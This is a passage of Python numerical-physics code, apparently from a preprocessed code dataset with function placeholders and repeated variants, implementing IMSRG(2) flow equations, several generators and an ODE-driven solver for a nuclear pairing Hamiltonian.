GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n 